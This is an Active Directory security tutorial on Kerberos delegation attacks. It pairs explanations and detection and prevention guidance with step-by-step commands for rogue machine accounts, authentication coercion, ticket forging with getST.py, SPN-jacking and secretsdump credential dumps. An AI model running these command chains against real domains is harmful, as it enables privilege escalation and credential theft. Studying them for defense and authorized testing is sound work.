Kerberos Delegation Attacks
Kerberos delegation is a powerful feature in Active Directory that allows a service to impersonate a user to access other services on their behalf. While this functionality is essential for many applications, it can be abused by attackers to escalate privileges and move laterally within a domain.
Kerberos Delegation Attacks
Overview
Kerberos delegation is a powerful feature in Active Directory that allows a service to impersonate a user to access other services on their behalf. While this functionality is essential for many applications, it can be abused by attackers to escalate privileges and move laterally within a domain.
What is Kerberos Delegation?
Kerberos delegation allows a service account to request tickets on behalf of users to access other services. This is particularly useful in multi-tier applications where:
- A user authenticates to a web application
- The web application needs to access a database on behalf of the user
- The database should see the request as coming from the original user, not the service account
Types of Kerberos Delegation
There are three main types of Kerberos delegation:
Unconstrained Delegation (KUD)
- Description: Allows a service to impersonate users to any service in the domain
- Risk Level: High - Can lead to complete domain compromise
- Configuration:
TRUSTED_FOR_DELEGATIONflag in userAccountControl - Attack Vector: Capture TGTs from high-privilege accounts
Constrained Delegation (KCD)
- Description: Limits delegation to specific services only
- Risk Level: Medium-High - Limited but still dangerous
- Configuration: two flavours share the same
msDS-AllowedToDelegateToattribute (a list of allowed SPNs):- Vanilla KCD:
msDS-AllowedToDelegateToset,TRUSTED_TO_AUTH_FOR_DELEGATIONnot set. The service can only delegate for users who already presented a forwardable TGT to it. - KCD with Protocol Transition (KCD/PT):
msDS-AllowedToDelegateToset andTRUSTED_TO_AUTH_FOR_DELEGATIONset. The service can request a forwardable ticket for any user via S4U2Self, without them ever authenticating to it first. This is the attacker-friendly variant.
- Vanilla KCD:
- Attack Vector: Abuse S4U2Self and S4U2Proxy extensions, plus AnySPN / sname rewriting (see below) and
WriteSPNSPN-jacking to break out of themsDS-AllowedToDelegateToallowlist.
Resource-Based Constrained Delegation (RBCD)
- Description: The target service controls who can delegate to it
- Risk Level: Medium - More secure but still exploitable
- Configuration:
msDS-AllowedToActOnBehalfOfOtherIdentityattribute - Attack Vector: Modify the target service’s delegation settings
Unconstrained Delegation (KUD)
What is Unconstrained Delegation?
Unconstrained delegation allows a service to:
- Request tickets on behalf of any user
- Access any service in the domain using those tickets
- Store and reuse captured TGTs (Ticket Granting Tickets)
This is configured by setting the TRUSTED_FOR_DELEGATION flag in the userAccountControl attribute of a user or computer account.
How Unconstrained Delegation Works
Normal Kerberos Flow
- User authenticates to KDC and receives a TGT
- User requests a service ticket for a specific service
- Service validates the ticket and grants access
With Unconstrained Delegation
- User authenticates to KDC and receives a TGT
- User requests a service ticket for the delegation-enabled service
- The service can request additional tickets on behalf of the user
- The service stores the user’s TGT for future use
- The service can impersonate the user to any other service
Unconstrained Delegation Attack Vectors
TGT Capture Attack
Scenario: An attacker controls a service with unconstrained delegation and captures TGTs from high-privilege users.
Attack Steps:
- Identify services with unconstrained delegation
- Compromise the service account
- Force high-privilege users to authenticate to the service
- Capture their TGTs
- Use captured TGTs to access other services
Tools:
PrinterBug- Forces Domain Controller authenticationPetitPotam- Alternative coercion methodKrbRelayX- Captures and relays tickets
Computer Account Abuse
Scenario: A computer account with unconstrained delegation can be abused to capture TGTs.
Attack Steps:
- Create a computer account (if possible)
- Configure it for unconstrained delegation
- Force authentication to the computer
- Capture TGTs and use them for lateral movement
Unconstrained Delegation Practical Attack Example
Step 1: Identify Unconstrained Delegation
1
2
3
4
5
# Find computers with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
# Find users with unconstrained delegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Step 2: Create Attack Infrastructure
1
2
3
4
5
# Create a computer account
addcomputer.py -dc-ip 10.10.10.10 -computer-name evil$ -computer-pass P@ssw0rd! domain/user:password
# Configure for unconstrained delegation
bloodyAD --host 10.10.10.10 -u user -p password -d domain add uac -f TRUSTED_FOR_DELEGATION evil$
Step 3: Force Authentication
1
2
3
4
5
# Using PrinterBug
printerbug.py domain/user:password@target.domain.local evil.domain.local
# Using PetitPotam
PetitPotam.py -u evil$ -p 'P@ssw0rd!' -d domain -dc-ip 10.10.10.10 evil.domain.local 10.10.10.10
Step 4: Capture and Use Tickets
1
2
3
4
5
6
# Set up KrbRelayX to capture tickets
krbrelayx.py --krbsalt 'DOMAINevil' --krbpass 'P@ssw0rd!' --interface-ip 10.10.14.5
# Use captured tickets
export KRB5CCNAME=DC1\$@DOMAIN.COM_krbtgt@DOMAIN.COM.ccache
secretsdump.py -k -no-pass 'DC1$@dc1.domain.local'
Unconstrained Delegation Detection
PowerShell Detection
1
2
3
4
5
6
7
8
9
# Find all accounts with unconstrained delegation
$computers = Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
$users = Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Write-Host "Computers with Unconstrained Delegation:"
$computers | Select-Object Name, DistinguishedName
Write-Host "Users with Unconstrained Delegation:"
$users | Select-Object Name, DistinguishedName
BloodHound Queries
1
2
3
4
5
// Find computers with unconstrained delegation
MATCH (c:Computer) WHERE c.unconstraineddelegation = true RETURN c
// Find users with unconstrained delegation
MATCH (u:User) WHERE u.unconstraineddelegation = true RETURN u
Constrained Delegation (KCD)
What is Constrained Delegation?
Constrained delegation allows a service to:
- Impersonate users to specific services only
- Use the S4U2Self and S4U2Proxy Kerberos extensions
- Request service tickets for predefined SPNs (Service Principal Names)
This is configured by setting the TRUSTED_TO_AUTH_FOR_DELEGATION flag in the userAccountControl attribute along with specific SPNs in the msDS-AllowedToDelegateTo attribute.
How Constrained Delegation Works
S4U2Self (Service for User to Self)
- A service requests a ticket for an arbitrary user (usually
Administrator) to itself. - The KDC issues that ticket unconditionally (S4U2Self always succeeds), but the ticket is forwardable only if the service account has
TRUSTED_TO_AUTH_FOR_DELEGATIONset on itsuserAccountControl. - That forwardable bit is the whole point: only a forwardable S4U2Self ticket can be fed into S4U2Proxy. A non-forwardable ticket is useful for local access checks but is a dead end for delegation.
Consequence: on paper a KCD attack “requires” the impersonated user’s cooperation. In practice, the TRUSTED_TO_AUTH_FOR_DELEGATION flag (“protocol transition”, see below) removes that requirement, and every real-world KCD abuse assumes the service has it. Without the flag you are looking at a much narrower “wait for a real forwardable TGT to arrive” scenario.
S4U2Proxy (Service for User to Proxy)
- A service presents a forwardable ticket (obtained via S4U2Self or a real user’s forwarded TGT).
- It asks the KDC for a service ticket to a target SPN, on behalf of the ticket’s
cname. - The KDC checks the requester’s
msDS-AllowedToDelegateTolist: if the target SPN is not on the list, the request is refused. - If accepted, the KDC issues a service ticket where:
- the
cnameis the impersonated user, - the ticket is encrypted with the long-term key of whichever account currently registers the target SPN.
- the
- The requester now holds a valid ticket that authenticates to the target service as the impersonated user.
Two invariants that the attacker abuses in AnySPN and SPN-jacking (below):
- The KDC picks the encryption key by SPN owner, not by SPN string. Any two SPNs registered on the same account produce mutually-swappable tickets.
- The
snamefield on the ticket is not integrity-protected against the client; only the ticket body (cname, session key, PAC) is signed. The client can rewritesnamebetween receiving the ticket and presenting it.
Protocol Transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
- With Protocol Transition (
TRUSTED_TO_AUTH_FOR_DELEGATION= true): S4U2Self returns a forwardable ticket for any user. The service can therefore always feed S4U2Proxy and effectively impersonate any user to the SPNs in its allowlist. This is the attacker-friendly configuration. - Without Protocol Transition (
TRUSTED_TO_AUTH_FOR_DELEGATION= false): S4U2Self still succeeds, but the returned ticket is non-forwardable. S4U2Proxy will refuse it. The service can only delegate a client’s forwardable TGT that it already received during a real authentication (typically Negotiate → Kerberos over HTTP or RPC).
Colloquially “protocol transition” means “the service can bridge from non-Kerberos auth (or no auth at all) to a Kerberos service ticket for the user”. Technically it just means “S4U2Self returns forwardable tickets”.
Constrained Delegation Attack Vectors
S4U2Self and S4U2Proxy Abuse
Scenario: An attacker compromises a service account with constrained delegation and uses it to impersonate users.
Attack Steps:
- Identify services with constrained delegation
- Obtain service account credentials
- Use S4U2Self to get a ticket for a user to the service
- Use S4U2Proxy to get a ticket to the target service
- Access the target service as the impersonated user
Protocol Transition Bypass
Scenario: When protocol transition is disabled, attackers can use alternative methods to obtain forwardable tickets.
Attack Methods:
- RBCD Attack: Configure resource-based constrained delegation
- Ticket Capture: Wait for users to authenticate to the service
- Self-RBCD: Use computer account self-delegation (patched in 2022)
Constrained Delegation Practical Attack Example
Step 1: Identify Constrained Delegation
1
2
3
4
5
# Find computers with constrained delegation
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation, msDS-AllowedToDelegateTo
# Find users with constrained delegation
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation, msDS-AllowedToDelegateTo
Step 2: With Protocol Transition
1
2
# Direct S4U2Self + S4U2Proxy attack
getST.py -spn "cifs/target.domain.local" -impersonate "Administrator" "domain/service:password"
Step 3: Without Protocol Transition (RBCD Approach)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Step 1: Configure RBCD on the target service. Any account that ends up in
# target$'s msDS-AllowedToActOnBehalfOfOtherIdentity is treated as if
# it had TRUSTED_TO_AUTH_FOR_DELEGATION w.r.t. target$.
bloodyAD --host 10.10.10.10 -u user -p password -d domain add rbcd -t target$ -f evil$
# Step 2: One-shot S4U2Self + S4U2Proxy as evil$. getST.py chains both calls
# internally when the requester is in target$'s RBCD list, and drops the
# final "Administrator to cifs/target.domain.local" ticket to disk.
getST.py -spn "cifs/target.domain.local" \
-impersonate "Administrator" \
"domain/evil\$:password"
# Step 3: (optional) -additional-ticket <ccache> only comes into play for
# chained delegation across two services. The ccache passed here MUST
# be a prior S4U2Self result (a forwardable ticket to itself), not an
# arbitrary service ticket. Typical use: pass an S4U2Self ticket for
# one service and let getST re-issue an S4U2Proxy to a second SPN.
Constrained Delegation Detection
PowerShell Detection
1
2
3
4
5
6
7
8
9
# Find all accounts with constrained delegation
$computers = Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation, msDS-AllowedToDelegateTo
$users = Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation, msDS-AllowedToDelegateTo
Write-Host "Computers with Constrained Delegation:"
$computers | Select-Object Name, msDS-AllowedToDelegateTo
Write-Host "Users with Constrained Delegation:"
$users | Select-Object Name, msDS-AllowedToDelegateTo
BloodHound Queries
1
2
3
4
5
// Find computers with constrained delegation
MATCH (c:Computer) WHERE c.constraineddelegation = true RETURN c
// Find delegation paths
MATCH (c:Computer)-[r:AllowedToDelegate]->(t:Computer) RETURN c, r, t
Constrained Delegation Attack Variations
Bronze Bit Attack (CVE-2020-17049)
- Exploits an S4U2Proxy check that let a service turn a non-forwardable S4U2Self ticket into a forwardable service ticket by flipping the
forwardablebit and re-signing. - Effectively removes the “requires
TRUSTED_TO_AUTH_FOR_DELEGATION” precondition for KCD abuse. - Patched in Windows updates in late 2020. Impacket’s
getST.py -force-forwardableinvokes the pre-patch behaviour and is only interesting on unpatched hosts.
AnySPN / sname rewriting (-altservice)
This is not a bug, it is how Kerberos is designed. A service ticket is encrypted with the long-term key of the account that owns the target SPN. The sname field (<serviceclass>/<host>) inside the ticket tells the target service which service it is, but that field is signed by the KDC only, not integrity-protected against the client. Once the client holds a ticket, it can rewrite sname to any other SPN owned by the same account and the target will accept it, because decryption still succeeds with the same key.
Practical consequence: if you obtain a KCD service ticket for HTTP/target.domain.local, you can freely swap sname to cifs/target.domain.local, LDAP/target.domain.local, HOST/target.domain.local, etc. msDS-AllowedToDelegateTo bounds which SPN string the KDC will accept in the request; it does not bound which service class the ticket ultimately unlocks.
Impacket exposes this with the -altservice flag on getST.py:
1
2
3
4
5
6
# Original request: HTTP/target (in the allowed-to-delegate list)
# Rewritten to: cifs/target (was not in the list, but same key)
getST.py -spn 'HTTP/target.domain.local' \
-impersonate 'Administrator' \
-altservice 'cifs/target.domain.local' \
domain/service:password
Two operational quirks:
- Always use the FQDN form of the SPN (
cifs/target.domain.local, notcifs/target). Some clients (netexec/nxc’s SMB module in particular) always canonicalise short forms to the full FQDN before sending the AP-REQ, and a mismatch producesKDC_ERR_PREAUTH_FAILEDon the target. Impacket’s ownsmbclient.pyaccepts the short form; nxc does not. - Case matters in some Windows builds.
CIFS/hostandcifs/hostshould be equivalent, but Windows service-class matching has historically been case-insensitive in the KDC and case-sensitive in some client-side lookups. Lowercase everywhere unless a working example says otherwise.
WriteSPN SPN-jacking
WriteSPN (WriteProperty on servicePrincipalName) on a computer object is enough to steal the “AnySPN” invariant for a service class the KDC would not otherwise let you request. The pattern:
- The attacker controls an account with KCD/PT (say,
svc_it_adminin the Nova Forge writeup) whosemsDS-AllowedToDelegateTolists an SPN likeCIFS/STORAGE.novaforge.local. - That SPN is not currently registered on
STORAGE$, sogetST.pyfor it would fail withKDC_ERR_S_PRINCIPAL_UNKNOWN. - The attacker also has
WriteSPNon some other computer object, typically the DC. They register the exact same SPN string on the DC:bloodyAD msldap addspn CN=DC,... CIFS/STORAGE.novaforge.local. - Now
getST.py -spn CIFS/STORAGE.novaforge.localsucceeds, but the returned ticket is encrypted withDC$’s key, becauseDC$is the account currently owning that SPN. - The attacker rewrites
snameto a real service onDCvia-altservice 'cifs/DC.novaforge.local'and lands on the DC as the impersonated user.
Why it works: the KDC ties the encryption key to the SPN owner (step 4), while msDS-AllowedToDelegateTo only checks the SPN string (step 3). Registering the string on any writeable computer object bridges the two.
Why WriteSPN matters as much as GenericAll on the target: it looks narrow (“only add/remove SPNs on this object”) but composes with any existing KCD/PT configuration into a full DC compromise. Audit WriteSPN on Tier-0 computer objects with the same rigour as GenericAll.
Resource-Based Constrained Delegation (RBCD)
What is Resource-Based Constrained Delegation?
RBCD allows a service to:
- Control who can delegate to it through the
msDS-AllowedToActOnBehalfOfOtherIdentityattribute - Specify which accounts can perform S4U2Self and S4U2Proxy operations
- Provide more granular control over delegation permissions
This is configured by setting the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target service, which contains a list of security principals that can delegate to it.
How RBCD Works
Traditional Delegation vs RBCD
Traditional Delegation:
- The delegating service controls who it can delegate to
- Configured on the source service account
- Less secure as the source controls the delegation
RBCD:
- The target service controls who can delegate to it
- Configured on the target service account
- More secure as the target controls the delegation
S4U2Self and S4U2Proxy with RBCD
- S4U2Self: A service requests a ticket for a user to itself
- S4U2Proxy: The service uses the forwardable ticket to request access to the target service
- Target Validation: The target service checks if the requesting service is in its
msDS-AllowedToActOnBehalfOfOtherIdentitylist
RBCD Attack Vectors
RBCD Configuration Abuse
Scenario: An attacker can modify a service’s RBCD settings to allow their own account to delegate to it.
Attack Steps:
- Identify services that can be modified
- Create a computer account or use an existing one
- Modify the target service’s
msDS-AllowedToActOnBehalfOfOtherIdentityattribute - Perform S4U2Self and S4U2Proxy attacks
Computer Account Self-Delegation
Scenario: A computer account can modify its own RBCD settings (patched in 2022).
Attack Steps:
- Compromise a computer account
- Add the computer account to its own RBCD list
- Perform delegation attacks
RBCD for Lateral Movement
Scenario: Use RBCD to move laterally between services in the domain.
Attack Steps:
- Identify services with RBCD capabilities
- Modify RBCD settings to allow delegation
- Use captured credentials to perform delegation attacks
- Move to higher-privilege services
RBCD Practical Attack Example
Step 1: Identify RBCD Capabilities
1
2
3
4
5
# Find services with RBCD configured
Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null} -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# Find services that can be modified
Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -eq $null} -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
Step 2: Create Attack Infrastructure
1
2
# Create a computer account
addcomputer.py -dc-ip 10.10.10.10 -computer-name evil$ -computer-pass P@ssw0rd! domain/user:password
Step 3: Configure RBCD
1
2
3
4
5
# Using bloodyAD
bloodyAD --host 10.10.10.10 -u user -p password -d domain add rbcd -t target$ -f evil$
# Using PowerView
Set-ADComputer -Identity "target$" -PrincipalsAllowedToDelegateToAccount "evil$"
Step 4: Perform Delegation Attack
1
2
3
4
5
6
# S4U2Self + S4U2Proxy attack
getST.py -spn "cifs/target.domain.local" -impersonate "Administrator" "domain/evil$:password"
# Use the ticket
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass 'target$@target.domain.local'
RBCD Detection
PowerShell Detection
1
2
3
4
5
6
7
8
# Find services with RBCD configured
$rbcd = Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null} -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
Write-Host "Services with RBCD configured:"
foreach ($service in $rbcd) {
Write-Host "Service: $($service.Name)"
Write-Host "Allowed Principals: $($service.'msDS-AllowedToActOnBehalfOfOtherIdentity')"
}
BloodHound Queries
1
2
3
4
5
// Find RBCD relationships
MATCH (c:Computer)-[r:AllowedToAct]->(t:Computer) RETURN c, r, t
// Find computers that can be delegated to
MATCH (c:Computer) WHERE c.allowedtoact = true RETURN c
RBCD Attack Variations
Self-RBCD Attack
- Computer accounts can modify their own RBCD settings
- Patched in Windows updates around August/September 2022
- Still works with other accounts for RBCD
RBCD Chain Attacks
- Use RBCD to move between multiple services
- Create chains of delegation for lateral movement
- Can lead to domain compromise
Detection and Prevention
General Detection Methods
Event Log Monitoring
Monitor for:
- Event ID 4624: Successful logon events
- Event ID 4769: Kerberos service ticket requests
- Event ID 4776: Domain controller attempted to validate credentials
Network Monitoring
- Monitor for suspicious Kerberos traffic
- Look for unusual delegation patterns
- Track service ticket requests
Prevention Strategies
1. Avoid Unconstrained Delegation
- Use constrained delegation instead
- Use resource-based constrained delegation when possible
- Regularly audit delegation configurations
2. Protected Users Group
Protected Users membership sets several restrictions on the member account:
- The account cannot be delegated to. The KDC refuses S4U2Self and S4U2Proxy requests that try to impersonate a Protected Users member (equivalent to setting
AccountNotDelegatedon the account). - The account’s Kerberos tickets are non-forwardable and non-proxiable by policy.
- NTLM auth is disabled for the account, forcing Kerberos everywhere.
- Long-term Kerberos keys are limited to AES; DES and RC4-HMAC are disabled.
- TGT lifetime is capped at 4 hours (no renewal).
1
2
# Add sensitive accounts to Protected Users group
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator", "Domain Admins"
Two things worth calling out:
- PU protects the member from being impersonated, not from impersonating. A service account in
Protected Usersthat also hasTRUSTED_TO_AUTH_FOR_DELEGATIONcan still perform S4U2Self and S4U2Proxy to impersonate other users. PU only blocks S4U2Self / S4U2Proxy calls that target a PU member as the impersonated user. - PU membership propagates lazily. The account must acquire a new TGT after being added to the group before the restrictions take effect on its outbound requests. Blue teams that add an account to PU and then observe “PU restrictions aren’t kicking in” are usually looking at a ticket issued before the group change.
3. Regular Auditing
1
2
3
4
5
# Regular audit script
$delegation = Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
if ($delegation) {
Write-Warning "Found computers with unconstrained delegation: $($delegation.Name)"
}
4. Network Segmentation
- Isolate services with delegation
- Monitor network traffic for suspicious Kerberos activity
- Implement network access controls
5. Principle of Least Privilege
- Only grant delegation to necessary services
- Regularly review delegation configurations
- Remove unnecessary delegation rights
Common Misconfigurations
- Overly Permissive Delegation: Services with delegation to too many resources
- Weak Service Account Passwords: Easily crackable service account credentials
- Missing Protected Users: High-privilege accounts not protected from delegation
- Legacy Configurations: Old delegation settings not updated
- Missing Monitoring: No detection of delegation abuse
Tools and Resources
Attack Tools
Impacket- Python network protocolsRubeus- C# Kerberos attacksKrbRelayX- Ticket capture and relayPrinterBug- Authentication coercionPetitPotam- Alternative coercion methodbloodyAD- Python AD manipulationPowerView- PowerShell AD enumeration
Detection Tools
BloodHound- AD attack path analysisADRecon- AD security assessmentPowerShell- Native Windows enumerationCrackMapExec- Network exploitation
Monitoring Tools
- Windows Event Logs
- SIEM solutions
- Network monitoring tools
References
- The Hacker Recipes - Kerberos Delegations
- The Hacker Recipes - Unconstrained Delegation
- The Hacker Recipes - Constrained Delegation
- Crowsec - Kerberos Delegation Attacks
- IRED Team - Kerberos Abuse
- ADSecurity - Kerberos Delegation
- Decoder.cloud - Reflecting your authentication (CVE-2025-33073 CMTI)